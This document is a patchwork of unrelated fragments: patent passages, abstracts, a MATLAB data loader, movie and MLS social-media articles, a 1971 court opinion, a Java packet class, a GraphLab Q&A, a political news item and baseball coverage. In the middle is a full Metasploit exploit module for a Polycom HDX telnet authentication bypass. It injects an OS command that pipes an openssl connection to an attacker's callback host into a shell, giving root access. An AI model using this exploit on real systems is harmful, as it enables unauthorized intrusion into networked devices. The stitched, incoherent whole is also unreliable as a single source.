However, the objective of the technique disclosed in Patent Document 1 is to apply annealing process to relatively large-sized optical elements when they are molded to add some preferable performance to the molds, and though the conditions for the annealing process are specified in detail, the conditions are not available to every optical element made of resin manufactured through an injection molding process. For example, regarding a small-sized optical element of a several millimeter scale used as the aforementioned light pickup lens, only if the conditions for the annealing process slightly differ in each manufacturing lot, the difference of the conditions affects performance of forming a spot of condensed light greatly. Therefore, the annealing process of the technique disclosed in the Patent Document 1, can not relieve the residual stress sufficiently and can not maintain the thermal balance condition stably during the annealing process so that sufficient performance can not be obtained for a optical element of light pickup lens. |
Characterization of mimetic lipid mixtures of stratum corneum.
Lipid mixtures consisting of ceramide III, palmitic acid, and cholesterol were prepared at different thermal and humidity conditions. The lipid mixture, treated at temperature higher than 100 degrees C, displayed the similar thermal character to native human Stratum Corneum (SC), although hydration changed structural characters of the lipid mixtures as well as human SC: Hydration gave rise to the variation of lamellar distances in lipid mixtures such as lengthening of vertical repeat distance and slight-shortening of the lateral repeat distance. It also generated the configurational transition of amide groups. Since these variations depending on the heating and hydrating processes do not occur on pristine lipids, it can be confirmed that the lipid mixture forms hybrid phases by the association between heterogeneous lipids. |
function [Xtrain,ytrain,Xtest,ytest] = setupMnist(varargin)%binary, Ntrain, Ntest,full)
% Load mnist handwritten digit data
% Optional arguments [default in brackets]
% binary - if true, binarize around overall mean [false]
% ntrain - [60000]
% ntest - [10000]
% keepSparse - if true, do not cast to double [true]
% classes - specify which classes you want train/test data for [0:9]
%
% Xtrain will be ntrain*D, where D=784
% ytrain will be ntrain*1
% Xtest will be ntest*D, where D=784
% ytest will be ntest*1
% This file is from pmtk3.googlecode.com
[binary,Ntrain,Ntest,keepSparse,classes] = process_options(varargin,...
'binary',false,'ntrain',60000,'ntest',10000,'keepSparse',true,'classes',0:9);
if nargout < 3, Ntest = 0; end
loadData('mnistAll');
% the datacase have already been shuffled
% so we can safely take a prefix of the data
Xtrain = reshape(mnist.train_images(:,:,1:Ntrain),28*28,Ntrain)';
Xtest = reshape(mnist.test_images(:,:,1:Ntest),28*28,Ntest)';
ytrain = (mnist.train_labels);
ytest = (mnist.test_labels);
ytrain = ytrain(1:Ntrain);
ytest = ytest(1:Ntest);
clear mnist;
if(binary)
mu = mean([Xtrain(:);Xtest(:)]);
Xtrain = Xtrain >=mu;
Xtest = Xtest >=mu;
end
ytrain = double(ytrain);
ytest = double(ytest);
if(~keepSparse)
Xtrain = double(Xtrain);
Xtest = double(Xtest);
end
if ~isequal(classes,0:9)
Xtrain = Xtrain(ismember(ytrain,classes),:);
if numel(Ntest) > 0
Xtest = Xtest(ismember(ytest,classes),:);
end
end
end
|
What is Movie News After Dark? It ain’t playin’, yo. This is about movin’ news, slingin’ editorial quips and makin’ bank. Whatever ‘bank’ is…
Tonight we begin with some lovely artwork from Guillermo del Toro’s Pinocchio, a gothic retelling of the classic fairy tale about a puppet who just wanted to be a real boy. If any of you have watched the Disney animated version of Pinocchio recently (or in general, with adult eyes), you’ll know that there’s some seriously spine-tingling creepitude in that story. It’s got puppets from The Jim Henson Company and co-direction from Fantastic Mr. Fox animation director Mark Gustafson. Get excited about this one, kids.
IndieWire’s Matt Singer considers The Pros and Cons of Directors’ Cuts. One of his cited Cons, “More versions of a movie mean more confusion about which version is definitive” should be dubbed The Ridley Scott Conundrum.
Over the past 48 hours there have been a number of interesting discussions raised around HBO, digital distribution and piracy. None of these involve the people who partake in the latter (you’re unreasonable, you thieving scalawags). Vulture explains The Reasons Why HBO Doesn’t Want Your Money, a simple dissection of why HBO (and other cable network, for that matter) isn’t jumping to let you pay $10/mo. to see all their content outside the cable ecosystem. It’s a big money thing. A BIG money thing. And Corps. got to get they money, yo. (Also, people who want to pay a la carte for cable channels are loud, but they’re a minuscule section of entertainment consumers. This revolution is still in its infancy.)
Because going to a theater and being transported (in 3D!) to another world isn’t enough anymore, there’s The Alamo Drafthouse. They’ve got Drafthouse Films in on their next big outdoor moviewatching event. For those in the Central Texas area, you can see the black indie comedy Klown drunk in a canoe. Because that’s the way it has to be.
The folks at College Humor have taken the Game of Thrones fever to a new level, creating House Sigils for Other TV Families. The Simpsons got one, The Huxtables got one and even House Swanson is destined to take over some lands with the fire of bacon. These two are personal favorites:
“In the wake of the disastrous food storm at the end of the first movie, Flint Lockwood and friends are forced to leave their town of Swallow Falls. But when it is discovered that sentient food beasts have overrun the island, they are asked to return to save the world…again.” This is the synopsis of Cloudy 2: Revenge of the Leftovers, the most anticipated animated sequel ever! (According to yours truly.) It’s now due out February 7, 2014.
Spaceballs is coming to Blu-ray, a 25th anniversary Blu-ray release that will include at least one new featurette. If it doesn’t come in a giant helmet, I’m going to be incensed.
Large corporations are a dangerous thing. Personally, I’ve never trusted a movie website that’s owned by a big media company. Speaking of which, Movies.com presents us with A Guide to the Best Evil Corporations from Sci-Fi Movies. Weyland Yatuni for lyfe, yo. (Why do I continue to say ‘yo’ in this column? Too much time spent with Jesse Pinkman, perhaps.)
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Some of the best dunking happens in soccer.
There’s a growing sense of style and art to team accounts finding ways to harass each other in MLS. Everything from simplistically brutal postgame jabs to elaborate haymakers have become more and more ingrained in the MLS social media culture. Not all of them are winners (oh man, trust me, we’ll get there), but there’s a regular amount of objectively clever content that creates conversation and helps build the community around the sport. Which is a good thing. I promise.
And something about MLS lends itself nicely to these kinds of things: There’s enough downtime for ideas to go through a full creative process, and a small enough sample of games for individual moments to carry weight in the season as a whole. Or at least for the moments to be dissected.
Say, for example, in a closely contested game a key player maybe or maybe doesn’t, but almost definitely, does take a dive and a player is sent off for the team that goes on to lose. Maybe not a huge deal overall, but still, for at least the week, an important moment. Which means…..well, it means this:
Like many good things, the idea to give an opposing player the “Shooting Stars” treatment started as an office in-joke.
“It was something we were talking about doing for a few months. It was a thing we kind of enjoyed in the office and something we tried to do in preseason. We almost did it then and then that kind of moment with the Timbers game totally fell in our lap,” Galaxy Senior Director of Digital Media & Marketing, Chris Thomas said. “We were kind of joking after the game about actually using it for that. And our videographer at the time was like, ‘Should I do it?’ We said, ‘Yeah. Whatever. Just go for it.’”
“Yeah. Whatever. Just go for it” led to a video that has been viewed nearly 4 million times. It’s been over two years since it posted and you know what the joke is each time it plays. But when the music drops and Diego Chara goes flying through space and time and slip and slides, it’s funny every single time. Even people like World Champion Alex Morgan are in the replies just to say how good it is.
The good news here for Portland fans is, first off, scoreboard (they won the match 1-0 on a Chara goal, of course). Secondly, the Timbers social team had plenty of time between the next meeting with the Galaxy to hit back.
We all know about the upcoming solar eclipse, but have you heard of the fading star phenomenon? Let us explain. #ScienceIsFun #RCTID pic.twitter.com/aB4ZAsO2LA — Portland Timbers (@TimbersFC) August 7, 2017
THE PRODUCTION VALUE.
Look, one video has nearly 4 million views, the other one has 80,000. There’s a clear winner in terms of reach. But that is extremely solid from Portland. And numbers don’t mean everything. Imagine Dragons have sold 12 million records.
Either way, the great “Shooting Stars”ing of Diego Chara has staying power. Enough so that when another Galaxy opponent — I am not DisCo absolutely do not @ me — went airborne last weekend it only made sense to bring back a classic...With a bit of an Easter Egg at the end.
you knew it was coming pic.twitter.com/wUCVpYSv5T — LA Galaxy (@LAGalaxy) July 22, 2019
Did you catch it? I missed it the first time so I’ll help.
DIEEEEEEEEGGGGGOOOOOOOOOOOOOOOO!!!
Just in time for LA Galaxy vs. Portland (Saturday at 10:30 pm ET on FS1, FOX Deportes, TSN4).
Whether it’s FC Dallas tempting fate by provoking Zlatan Ibrahimovic, Minnesota United accentuating a win over FC Dallas with “Dallas,” Sporting KC make some alterations to the Real Salt Lake logo, Atlanta United going full Nintendo, or Philadelphia recruiting a guy in a funny shirt and a giant blue demon snake with arms to destroy a Red Bulls-themed car before the demon snake destroys us ... and uhh, there’s the Illuminati ... apparently, or……uh……. Brisket Bob.
[Hey, remember when I said that we would get here?]
Anyway, there is a purpose and a philosophy behind the team-on-team social media violence. When Portland takes an opportunity to celebrate ruining Scott Frost Seattle Sounders FC Day, they do it with a few key ideas in mind, which at their heart come back to one thing: This is fun, y’all.
“I think for me at the end of the day, sports are entertainment and it's fun to be fun,” Kayla Knapp, Portland’s senior manager of social content and strategy said. “It's about humanizing it, but it's about entertainment and about making it fun to follow all the accounts. Whether it's us, the Galaxy, Seattle, whoever, just making it a positive experience for all the fans across the league.”
Fun gets people to pay attention. And while the club standing under the metaphorical basket on the dunk may not exactly enjoy being there, being upset is, in a weird way, one of the most enjoyable parts of following soccer and sports in general. It distracts us from the every day, and when it’s finally our turn to enjoy things for a while, it makes it feel that much sweeter. If these interactions are bringing more people into that fold then, according to Portland’s senior VP of business operations and marketing, Cory Dolich, even better.
“It's trying to introduce the club and the brand to people that might not necessarily know it,” Dolich said. “Creating content that isn't always just about the competitive aspects of the organization and just about soccer, I think it has the potential to reach outside your traditional audience.”
There is always the danger of overdoing it though, and teams will admit that constantly clapping back can become grating. It’s all about knowing how to pick your spots. Some teams will do it better than others, but it's all a small part in helping to further that connection between the league's clubs and their fans while hopefully entertaining the rest of us along the way.
But mostly lol look at Portland doing the LAFC hat thing. Hahahhahahaha.
EDITOR'S NOTE: J. Sam Jones is a soccer writer and columnist and regular contributor to DirtySouthSoccer.com. You can listen to him stumble through discussions about Atlanta United on the Dirty South Soccer podcast network and follow him @J_SamJones if you don’t mind occasional ALL CAPS YELLING about American Football and Pitchfork reviews. |
The NFL draft and a majority of free agency is in the books for 2015. That means it's time for early projections and predictions for this upcoming season.
Last week, many Dolphins fans were disappointed with ESPN.com's Power Rankings. Our expect panel rated the Miami Dolphins as a middle-of-the pack team at No. 15, which is pretty much the equivalent of another .500 season. Miami made a lot of roster improvements to make a playoff push, including the $114 million signing of Pro Bowl defensive tackle Ndamukong Suh.
However, another reputable source is projecting the Dolphins to do great things in 2015. According to Football Outsiders, Miami is a "hot sleeper Super Bowl contender." FBO, using its metrics and also anticipating a Tom Brady suspension, predicts the Dolphins will go 11-5 in the AFC East.
Do Miami fans agree or disagree? The Dolphins have talent and filled a lot of holes this offseason. Can they post a winning season and get to the playoffs for the first time since 2008?
Share your thoughts in the comment section below or send me a message via Twitter @JamesWalkerNFL. I'm curious to hear your thoughts on Miami potentially going 11-5 this upcoming season. |
336 F.Supp. 1020 (1971)
Steve J. HORWAT, as Administrator of the Estate of Edward Horwat, also known as Edward S. Horwat, Deceased, Plaintiff,
v.
PAULSEN-WEBBER CORDAGE CORPORATION, Defendant and Third-Party Plaintiff,
v.
BABCOCK & WILCOX COMPANY et al., Third-Party Defendants.
Deborah MORRISON, Administratrix, D.B.N. of the Estate of Kenneth D. Richter, Deceased, Plaintiff,
v.
PAULSEN-WEBBER CORDAGE CORPORATION, Defendant and Third-Party Plaintiff,
v.
BABCOCK & WILCOX COMPANY et al., Third-Party Defendants.
Civ. A. Nos. 69-798, 69-799.
United States District Court, W. D. Pennsylvania.
December 7, 1971.
*1021 David E. Cohen, Uniontown, Pa., J. M. Maurizi, Suto, Power, Balzarini & Walsh, Pittsburgh, Pa., for plaintiffs.
Theodore O. Struk, Thomas W. Smith, Dickie, McCamey & Chilcote, Pittsburgh, Pa., for defendant.
OPINION
TEITELBAUM, District Judge.
These are personal injury actions in which the plaintiffs have founded the jurisdiction of this Court on the diversity of citizenship alleged to exist between the parties. The plaintiffs are alleged to be citizens of Pennsylvania, and the defendant, Paulsen-Webber Cordage Corporation, a citizen of New York. Paulsen-Webber contests the allegation of its citizenship, and, asserting that it is a citizen of Pennsylvania by virtue of the location of its principal place of business, has filed a Motion to Dismiss for want of federal jurisdiction.
Section 1332(c) of Title 28, United States Code provides that, in determining whether or not citizenship between parties is diverse,
". . . a corporation shall be deemed a citizen of any State by which it has been incorporated and of the State where it has its principal place of business . . . ."
The defendant was incorporated in New York. It contends, however, that its principal place of business is in Pennsylvania.
The controlling legal standards by which to assess the facts in fixing a corporation's principal place of business are set forth in Kelly v. United States Steel Corporation, 284 F.2d 850 (3d Cir. 1960). There the issue concerned United States Steel Corporation's principal place of business. The Court decided that the center of operational activities rather than the situs of corporate policy and decision making indicated the principal place of business. Of "lesser importance" to the Court but nonetheless of "some significance" were the locations of the corporation's physical plants, tangible assets, and employees. Further, it is the law that only the incidents of the defendant corporation are relevant, i. e., its corporate veil is generally not to be pierced for the purpose of aggregating its corporate incidents with those of its subsidiary companies. Carnera v. Lancaster Chemical Corporation, 387 F.2d 946 (3d Cir. 1967), cert. denied, 390 U.S. 1027, 88 S. Ct. 1418, 20 L.Ed.2d 285; see Zubik v. Zubik, 384 F.2d 267 (3d Cir. 1967), cert. denied, 390 U.S. 988, 88 S.Ct. 1183, 19 L.Ed.2d 1291 (1968).
In the instant actions, the application of these principles fixes the principal place of Paulsen-Webber's business in Pennsylvania. While Frederick Paulsen, the president, sole stockholder, and principal decision-maker of Paulsen-Webber, maintains his office in New York at corporate headquarters, the center of the defendant's operational activities is in Pennsylvania. Not counting its subsidiary companies' operations (which are relatively insignificant in any event), virtually all of the defendant's (1) products are manufactured in Pennsylvania, and (2) tangible assets are located in Pennsylvania. Further, the Pennsylvania operations account for the majority of the defendant's employees and the plurality of its customers and sales. The only sound conclusion is that the defendant's principal place of business is in Pennsylvania. Therefore, its Motion to Dismiss must be granted.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Polycom Command Shell Authorization Bypass',
'Alias' => 'psh_auth_bypass',
'Author' =>
[
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
'h00die <mike@shorebreaksecurity.com>', # submission/cleanup
],
'DisclosureDate' => 'Jan 18 2013',
'Description' => %q(
The login component of the Polycom Command Shell on Polycom HDX
video endpints, running software versions 3.0.5 and earlier,
is vulnerable to an authorization bypass when simultaneous
connections are made to the service, allowing remote network
attackers to gain access to a sandboxed telnet prompt without
authentication. Versions prior to 3.0.4 contain OS command
injection in the ping command which can be used to execute
arbitrary commands as root.
),
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
[ 'EDB', '24494']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Space' => 8000,
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd' }
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RHOST(),
Opt::RPORT(23),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
], self.class
)
register_advanced_options(
[
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
], self.class
)
end
def check
connect
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
Rex.sleep(1)
res = sock.get_once
disconnect
if !res && !res.empty?
return Exploit::CheckCode::Safe
end
if res =~ /Welcome to ViewStation/
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
# Keep track of results (successful connections)
results = []
# Random string for password
password = Rex::Text.rand_text_alpha(rand(5) + 1)
# Threaded login checker
max_threads = datastore['THREADS']
cur_threads = []
# Try up to 100 times just to be sure
queue = [*(1..datastore['MAX_CONNECTIONS'])]
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
until queue.empty?
while cur_threads.length < max_threads
# We can stop if we get a valid login
break unless results.empty?
# keep track of how many attempts we've made
item = queue.shift
# We can stop if we reach max tries
break unless item
t = Thread.new(item) do |count|
sock = connect
sock.put(password + "\n")
res = sock.get_once
until res.empty?
break unless results.empty?
# Post-login Polycom banner means success
if res =~ /Polycom/
results << sock
break
# bind error indicates bypass is working
elsif res =~ /bind/
sock.put(password + "\n")
# Login error means we need to disconnect
elsif res =~ /failed/
break
# To many connections means we need to disconnect
elsif res =~ /Error/
break
end
res = sock.get_once
end
end
cur_threads << t
end
# We can stop if we get a valid login
break unless results.empty?
# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
unless t.alive?
cur_threads[ti] = nil
end
end
# Remove any dead threads from the set
cur_threads.delete(nil)
Rex.sleep(0.25)
end
# Clean up any remaining threads
cur_threads.each { |sock| sock.kill }
if !results.empty?
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
do_payload(results[0])
else
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end
end
def do_payload(sock)
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
# Start a listener
start_listener(true)
# Figure out the port we picked
cbport = self.service.getsockname[2]
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
sock.put(cmd)
# Give time for our command to be queued and executed
1.upto(5) do
Rex.sleep(1)
break if session_created?
end
end
def stage_final_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end
def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
)
self.service.on_client_connect_proc = proc { |client|
stage_final_payload(client)
}
# Start the listening service
self.service.start
end
# Shut down any running services
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.is_a?(Rex::Service)
if self.service.is_a?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
# Accessor for our TCP payload stager
attr_accessor :service
end
|
/*
* Copyright 2013 Stanley Shyiko
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.github.shyiko.mysql.binlog.network.protocol;
import com.github.shyiko.mysql.binlog.io.ByteArrayInputStream;
import java.io.IOException;
/**
* @author <a href="mailto:stanley.shyiko@gmail.com">Stanley Shyiko</a>
*/
public class ErrorPacket implements Packet {
private int errorCode;
private String sqlState;
private String errorMessage;
public ErrorPacket(byte[] bytes) throws IOException {
ByteArrayInputStream buffer = new ByteArrayInputStream(bytes);
this.errorCode = buffer.readInteger(2);
if (buffer.peek() == '#') {
buffer.skip(1); // marker of the SQL State
this.sqlState = buffer.readString(5);
}
this.errorMessage = buffer.readString(buffer.available());
}
public int getErrorCode() {
return errorCode;
}
public String getSqlState() {
return sqlState;
}
public String getErrorMessage() {
return errorMessage;
}
}
|
Teaching strategies and knowledge retention.
This project compared nurses' knowledge retention after completion of either a competency-based, written self-learning module or a competency-based, didactic lecture module. Using a pretest/posttest quasiexperimental design, a convenient sample was selected from a group of registered nurses who attended a mandatory yearly review of standards from the Joint Commission on Accreditation of Healthcare Organizations (JCAHO) and the Occupational Safety and Health Association (OSHA). The 67 subjects were given pretests, the same content material using the two types of presentations, and posttests. An analysis of covariance was used to determine posttest differences between the groups, controlling for pretest scores. Results indicated no significant differences among posttest scores of the treatment group and the control group; alpha level was 0.05. Knowledge retention essentially was the same, regardless of the antecedent teaching methodology. The advantages of one teaching method versus another may be in the flexibility afforded the staff educator. After desired outcomes are identified, a teaching method can be determined based on the staff educators' requirements, the resources available, and the learners' needs. |
The various folks dealing with the issue have yet to reveal the exact details that led to the hold-up in making the money available. But they are trying to change that now.
Austin Police officers are looking into the cause of a single-car crash this morning that tool the life of the driver and sent three others to the hospital. The crash happened just before 12:30 a.m. on the westbound frontage road of U.S.-290 near Harris Branch Parkway. The other passengers were taken to UMC Breckenridge with non-life-threatening injuries. Police cannot say yet if alcohol or speed were factors in the crash. This is Austin’s 85th traffic fatality this year.
It may not seem like it since we’ve heard so much about next year’s election, but today is Election Day. There are several statewide proposals to consider this time around. Among them is a proposal that would change the homestead exemption tax, and one that would exempt spouses of some disabled veterans from taxes. There will also be local elections on the ballot. Polls are open from 7am-7pm. |
In recent years, magnetic recording and reproducing devices have been requested to attain more capacity and achieve higher performance due to increasing amount of information for personal computers and expanding applications to image recording apparatus, car navigation apparatus, and the like. For higher recording density, a smaller unit of magnetization reversal in magnetic recording media and media noise reduction are required. Conventional magnetic recording media have adopted a configuration that the ferromagnetic crystal grains comprising magnetic recording layers are preliminarily separated by nonmagnetic materials contained in magnetic recording layers.
To increase the magnetic recording density by active control of the separators, discrete track media in which recording tracks are separated, and further, bit patterned media in which recording bits are separated, have been researched and developed. The technique to form the separators has been a significant point for higher recording density in both of these media. For example, following techniques have been proposed to form the separators in discrete track media. One technique is the substrate processing type which preliminarily forms concentric lands and grooves on a substrate and forms a magnetic film thereon to form a patterned magnetic film. Another technique is the magnetic layer processing type which masks a magnetic film and etches the parts of a magnetic film to be grooves to form the pattern.
These techniques, however, include a plurality of processes such as backfilling nonmagnetic materials into the grooves, planarizing the surface so as to have the same level as the magnetic film to be the islands, and forming a protection film on the planarized surface. Consequently, other problems arise such as increase in foreign substances produced on the surfaces of the magnetic film and the protection film and increase in roughness of the surfaces. They prevent the reduction in the spacing between a magnetic head and a magnetic disk (nano-spacing), which is another point for higher recording density.
To overcome these problems, a method of forming separators by ion implantation has been attempted. For example, Japanese Patent Publication No. H5-205257 (“Patent Document 1”) discloses a method of forming separators between recording tracks of a discrete track medium by altering the magnetic property by means of nitrogen ion implantation into a magnetic layer, for example. According to Patent Document 1, this method can increase the track density without being significantly affected by the process accuracy to decrease the track width for a head. Japanese Patent Publication No. H9-167336 (“Patent Document 2”) attempted a method of forming servo patterns by ion implantation. According to Patent Document 2, the flatness of the surface can be much more improved.
Methods for separating recording tracks in discrete track media or recording bits in bit patterned media are important issues. In use of the methods in the above-listed documents, to improve the track density while preventing side writings onto recording tracks, forming separators across the magnetic layer in the film thickness direction is required. The forming separators require ion implantation of a nonmagnetic element across the magnetic layer in the film thickness direction at a sufficiently high acceleration voltage. In the meanwhile, if the acceleration voltage is raised, the thickness of a mask layer formed on the magnetic layer should be increased to prevent the recording tracks on the magnetic layer from being doped with nonmagnetic element ions. In this regard, if the thickness of the mask layer is increased, a problem arises that pattern collapse occur when the pattern pitch of the mask layer is narrowed for higher recording density. Therefore, the film thickness of the mask layer should be thinned so as to match the pattern pitch. However, if the film thickness is thinned and the acceleration voltage is high, the mask layer may not be able to sufficiently block the radiated ions and the recording tracks of the magnetic layer are doped with the nonmagnetic element ions. As a result, the magnetic property of the recording tracks is changed so that the read/write performance is disadvantageously deteriorated. In this case, it is necessary to lower the acceleration voltage in the ion implantation to reduce the implantation energy. However, if the implantation energy is reduced, separators may not be formed across the magnetic layer in the film thickness direction. If the structure of the magnetic layer is not appropriate, a magnetic flux induced by the magnetic layer remained undoped under the separators strays to the surface of separators to cause noise. Then, when the implantation energy is reduced, it is necessary to optimize the structure of the magnetic layer so as to match the implantation energy. |
Q:
GraphLab Create Installation Error - Python 3.5.2
I have been trying to install GraphLab Create on my system (64bit, Windows 10).
I used the Installation guide as given on the site https://turi.com/download/install-graphlab-create-command-line.html
I used the command line since I already had Anaconda3 installed in my system.
I tried the Method - 1 but it didn't work because I'm not using Python2.7, but Python3.5.2, so, I tried Method - 2 by using Virtual Environment.
I am getting a Syntax error when I try the command:
virtualenv gl-env
I have already installed Virtual Environment through pip so this should not happen, right ?
Please help me out on what could possibly be wrong.
A:
From the installation instructions page:
GraphLab Create installation requires a Python 2.7.x environment and pip version >= 7
You have to install GraphLab in a Python 2.7 environment, and not in a Python 3 one.
Thus, install python2 first and then follow the rest of the instructions:
conda create -n gl-env python=2.7 anaconda=4.0.0
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According to the Southern Poverty Law Center (SPLC), South Carolina Lieutenant Governor — and incoming president of the College of Charleston — Glenn McConnell has made a career capitalizing on the legacy of the Confederacy.
In 2007, for example, he appeared on a white nationalist radio program — The Political Cesspool — that ranks among its guests former Grand Wizard of the Ku Klux Klan David Duke. The show’s mission statement states that it espouses “a philosophy that is pro-White” and is dedicated to “reviv[ing] the White birthrate above replacement level fertility and beyond to grow the percentage of Whites in the world relative to other races.”
On the program, Lt. Gov. McConnell spoke to host James Edwards about Confederate history and Southern heritage month. The interview begins with Edwards praising McConnell’s “distinct and distinguished Charleston accent.” They then begin to discuss the role of the National Association for the Advancement of Colored People (NAACP) in a 2001 debate about the flying of the Confederate flag.
“Nobody had a problem with it until all of a sudden, I believe it was in the 1980s, the NAACP discovered that they were offended by it,” McConnell said. “In the year of 2001, we agreed to remove the flag from the top of the capitol.”
McConnell claimed that he “had biracial and bipartisan support for that, and everybody was happy, but the NAACP,” but that for “all fair-minded people the controversy was resolved long ago, in the year 2001.”
“What you have is some people returning to the trough of controversy, they’re trying to feed on passions, they’re appealing to prejudice and they’re trying to inflame constituents and citizens across our state.”
“What’s sad about that,” he continued, “is that irresponsible grandstanding threatens to unravel the fabric of mutual respect and to divide our state for decades to come.”
“What we did is, we sealed our state together by mutual respect, and let me explain that: first we went to a soldier’s flag, so we could truly say that we respected the valor of the soldiers that left their homes and family to answer the call of the government,” he concluded.
“And most of them didn’t own slaves.”
He did not, however, indicate how the NAACP should have “mutually respected” the valor of those that did.
Listen to audio from Lt. Gov. McConnell’s appearance on The Political Cesspool via the SPLC below.
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San Francisco Giants pitcher Madison Bumgarner prepares to deliver a pitch against the Atlanta Braves in the first inning at AT&T Park. / Cary Edmondson, USA TODAY Sports
by USA TODAY
by USA TODAY
SAN FRANCISCO (AP) - Madison Bumgarner didn't take any personal satisfaction from his first career victory over the Atlanta Braves.
There's no doubt what it meant to his team.
Bumgarner struck out a season-high 11 over seven innings, Gregor Blanco entered in the fifth as a pinch hitter and drove in four runs, and the San Francisco Giants routed the Atlanta Braves 10-1 Saturday.
The North Carolina native grew up rooting for the Braves and had been winless against them in four previous starts. Bumgarner (4-1) gave up just four hits and walked two, winning for the first time since April 13.
"They've got as good a shot as anybody to play October baseball," Bumgarner said of the Braves. "When you play a team like that, you want to play your best baseball, too."
Blanco had a three-run double and triple in setting a career high for RBI.
San Francisco's rotation, considered one of the best in the majors, has struggled early this season. But ace Matt Cain tossed eight innings of three-hit ball in Friday's win, and coupled with Bumgarner's effort, the Giants can claim the four-game series with a victory in Sunday's finale.
It was a frustrating day for the National League East-leading Braves. Dan Uggla struck out four times and Chris Johnson went down swinging three times. After a victory in Thursday's opener, the Braves have mustered just 10 hits and been outscored 18-3.
"He's nasty," Johnson said. "For me, he is one of the best lefties in the game. He throws his cutter in to righties. He makes righties feel uneasy."
They hurt themselves defensively Saturday, and lefty Paul Maholm (4-4) lasted just 4 1/3 innings and was charged with six runs on eight hits.
The Giants led 2-1 when they broke the game open with a four-run fifth, aided by the adventures of Braves right fielder Justin Upton.
Upton let Marco Scutaro's liner skip past him for a one-out triple. After Pablo Sandoval was hit by a pitch, Buster Posey drove an RBI double deep to right that Upton made an awkward attempt on as it bounced up against the wall. Hunter Pence was intentionally walked to load the bases, and Braves interim manager Carlos Tosca called on Cory Gearrin to relieve Maholm.
Giants manager Bruce Bochy sent up Blanco to hit for Francisco Peguero, and Blanco delivered a three-run double to right-center that extended the Giants' lead to 6-1.
"It is definitely a difficult outfield," Upton said. "You definitely have to make a decision pre-pitch on how aggressive you want to be."
Blanco was at it again in the eighth, when the Giants batted around and tacked on four more. His liner to left field skipped past a charging Evan Gattis and went for an RBI triple. Blanco is 9-for-19 this season with runners in scoring position.
San Francisco's starting pitchers entered the day with a 4.48 ERA, which ranked 13th out of 15 NL teams. Bumgarner rebounded after his worst outing of the season, when he gave up five runs in six innings against Philadelphia on Monday.
"That's a tough lineup to go through and he did quite a job for us," Bochy said.
Johnson, the Braves third baseman, struck out swinging in all three at-bats against Bumgarner.
"He's nasty," Johnson said. "For me, he is one of the best lefties in the game. He throws his cutter in to righties. He makes righties feel uneasy."
Sandoval's homer in the first gave the Giants an early lead. Brandon Crawford doubled in a run in the fourth to make it 2-0, one of two hits the left-handed hitting Crawford had off Maholm.
Maholm entered Saturday having yielded just four hits to lefties all season.
NOTES: Giants reliever Santiago Casilla was scheduled to run during batting practice to test his sore right knee, but Bochy wasn't planning on having Casilla available until Tuesday's road trip opener at Toronto. ... Tim Lincecum, who starts Sunday for San Francisco, has lost his last four starts against Atlanta. Kris Medlen will take the ball for the Braves, looking to snap a five-start winless streak. ... Scutaro has an 11-game hitting streak. ... Johnson is 0 for 17 with eight strikeouts this month.
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The Rainmaker Sprayer replacement Lance Assembly 708905 includes handle, lance and spray tip. 708909 is a replacement Sprayer Pump. 708907 is a replacement O-Ring Kit. 708915 is a replacement kit that includes Dip tube, hose and nut. All parts are for use with Rainmaker 1 gallon (708904), 2 gallon (708906) and 3 gallon pump sprayers (708908). |
Use and abuse of systemic corticosteroid therapy.
